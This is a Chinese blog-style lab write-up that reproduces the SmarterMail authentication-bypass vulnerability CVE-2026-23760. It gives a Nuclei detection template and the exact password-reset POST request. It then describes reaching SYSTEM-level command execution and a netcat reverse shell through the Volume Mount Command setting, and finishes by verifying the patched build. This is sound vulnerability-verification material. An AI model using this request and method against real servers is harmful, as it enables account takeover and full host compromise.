
在本篇短文中,我们将进行另一个演示,以复现 CVE-2026-23760。
CVE-2026-23760 是最近被添加到 CISA(美国网络安全和基础设施安全局)已知利用漏洞目录中的一个高危漏洞,它影响 SmarterTools SmarterMail 软件 9511 版本之前的版本。关于此漏洞的全面信息由 WatchTower 记录,可在此链接中找到。
概括来说,攻击者可以通过向 /api/v1/auth/force-reset-password API 端点发送 POST 请求,来重置任意用户(包括管理员)的密码,从而实现身份认证绕过。此端点并未验证用户现有的配置密码,或者在密码重置过程中没有任何其他形式的身份验证。
SmarterMail 系统管理员权限还允许通过内置的管理功能执行操作系统命令(一种命令执行方式是在管理员挂载卷时,在 "Volume Mount Command" 中设置命令),这实际上为攻击者提供了对底层主机的管理员(SYSTEM 或 root)级别访问权限。
本博客文章将快速演示如何检查一个主机是否存在 CVE-2026-23760 漏洞或是否可被利用。
在这个实验室环境中,我们有两台机器。一台是攻击者/测试机,IP 地址为 192.168.4.30。另一台是 64 位 Windows 主机,IP 地址为 192.168.4.11,上面安装了版本为 9504 的 SmartMail 软件。
以下是使用 GPT 创建的一个 YAML 文件,用于使用 Nuclei 确认 Smartermail 的版本。
id: CVE-2026-23760
info:
name: SmarterMail - Admin Password Reset Auth Bypass
author: yourname
severity: critical
description: 通过版本指纹检测易受攻击的SmarterMail构建版本。
remediation: 升级到Build 9511或更高版本。
reference:
- https://labs.watchtowr.com/attackers-with-decompilers-strike-again-smartertools-smartermail-wt-2026-0001-auth-bypass/
classification:
cve-id: CVE-2026-23760
metadata:
max-request: 1
vendor: smartertools
product: smartermail
shodan-query: http.favicon.hash:-1935525788
tags: cve,cve2026,smartermail,version-detect
http:
- method: GET
path:
- "{{BaseURL}}/interface/root#/login"
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'ng-app="smartermail"'
- type: status
status:
- 200
- type: dsl
dsl:
- "compare_versions(build, '< 9511')"
extractors:
- type: regex
name: version
part: body
group: 1
regex:
- "stProductVersion\\s*=\\s*['\"]([0-9]+\\.[0-9]+\\.[0-9]+)['\"]"
- type: regex
name: build
internal: true
part: body
group: 1
regex:
- "stProductVersion\\s*=\\s*['\"][0-9]+\\.[0-9]+\\.([0-9]+)['\"]"
- type: dsl
dsl:
- '"SmarterMail " + version + " (Build " + build + ") vulnerable to CVE-2026-23760"'该软件的默认安装使用 9998 和 17017 端口。在我的测试中,漏洞在这两个端口上都有效。
接下来,我们使用 Nuclei 配合自定义的 YAML 文件,扫描目标主机的 9998 和 17017 端口。
nuclei -t CVE-2026-23760.yaml -u http://192.168.4.11:9998此处应为图片:显示Nuclei扫描结果,确认主机存在漏洞
此处应为图片:显示Nuclei扫描结果,确认主机存在漏洞
以上结果显示目标主机存在漏洞,Nuclei 还检测到了软件的精确版本。
然后,我们发送下面的 HTTP POST 请求来重置 "admin" 用户的密码。正如 WatchTower 所记录的那样,我们无需知道该用户的现有密码,同时需要添加 "IsSysAdmin":"true" 参数。
POST /api/v1/auth/force-reset-password HTTP/1.1
Host: 192.168.4.11:9998
Content-Type: application/json
Content-Length: 147
{"IsSysAdmin":"true","OldPassword":"watever","Username":"admin","NewPassword":"NewPassword123!@#","ConfirmPassword":"NewPassword123!@#"}下图显示密码已成功重置。
此处应为图片:显示HTTP响应,确认密码重置成功
此处应为图片:显示HTTP响应,确认密码重置成功
然后,攻击者可以尝试以管理员身份登录账户。
此处应为图片:显示使用新密码成功登录admin账户的界面
为了证明攻击者可以在底层主机上以 nt authority\system 权限执行命令,我们进入 设置(Settings) > 卷挂载(Volume Mounts) > 新建(New)。
在 "添加卷挂载" 向导中,在 "卷挂载命令(Volume Mound Command)" 字段中添加任意命令,然后点击 "保存"。
在下面的图片中,我们首先尝试了 Ping 命令,让底层主机 ping 攻击者的 IP 地址。
我们使用了一个 ping 命令
此处应为图片:在Volume Mount Command中输入ping命令的截图
设置 Tcpdump 监听任何 ICMP 流量
此处应为图片:攻击机终端显示tcpdump捕获到ICMP请求的截图
上图证实我们可以在主机上执行命令。我们成功调用了 Windows 主机去 ping Linux 主机(攻击者的机器)。
然后,我们可以尝试多种方法获取反弹 Shell。为简单起见,我们将一个 Netcat 二进制文件传输到 Windows 主机,并在 "Volume Mount Command" 中执行它。
此处应为图片:在Volume Mount Command中输入nc反弹shell命令的截图
此处应为图片:攻击机上nc监听器获得反弹shell的截图,显示权限为NT Authority\System
在攻击者主机上执行 netcat 监听器
通过 "Volume Mount Command" 在 Windows 主机上执行 Netcat 命令
该图片显示反弹 Shell 具有 NT Authority\System 权限。
在下面的图片中,我们安装了此软件的 9511 版本。
使用我们最初的 YAML 文件,Nuclei 没有标记该漏洞。
此处应为图片:Nuclei扫描修复后版本,结果显示未发现漏洞
然后我们可以调整 YAML 文件,仅捕获已安装的 Smartermail 软件的精确版本。
此处应为图片:显示调整后Nuclei YAML文件的内容
Nuclei 检测到软件正在运行版本 9511
此处应为图片:Nuclei扫描显示软件版本为9511
在此版本的软件上,使用相同的 HTTP POST 负载来重置密码也会失败。
此处应为图片:尝试在修复版上重置密码,返回错误信息的截图
本博客提供的信息仅供一般参考。虽然我一直力求准确,但某些细节可能存在不准确之处,并且提供的列表可能不完整。有鉴于此,我强烈建议您在做出任何决定或采取任何行动之前,根据行业标准文档和官方来源(部分列于上文参考部分)核实所有关键信息。
此处表达的所有观点均为我个人观点,并不代表我雇主的观点或立场。FINISHED
CSD0tFqvECLokhw9aBeRqtTv15RNmaHdiNZPviuVo928jJlaselhk65nWD039QZrqWjSA8XqgMXP/1mh4QkjRCr2qht0fKHIUHTtGi4BwdpkpOdAmmnSYoPATl1f1/17ywUj5yLn4HWyyX4NUs2uRVKOlrZ9hIrAcPHzYg2rl+J8ExztEYhsJTQQKXrdwUTF
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。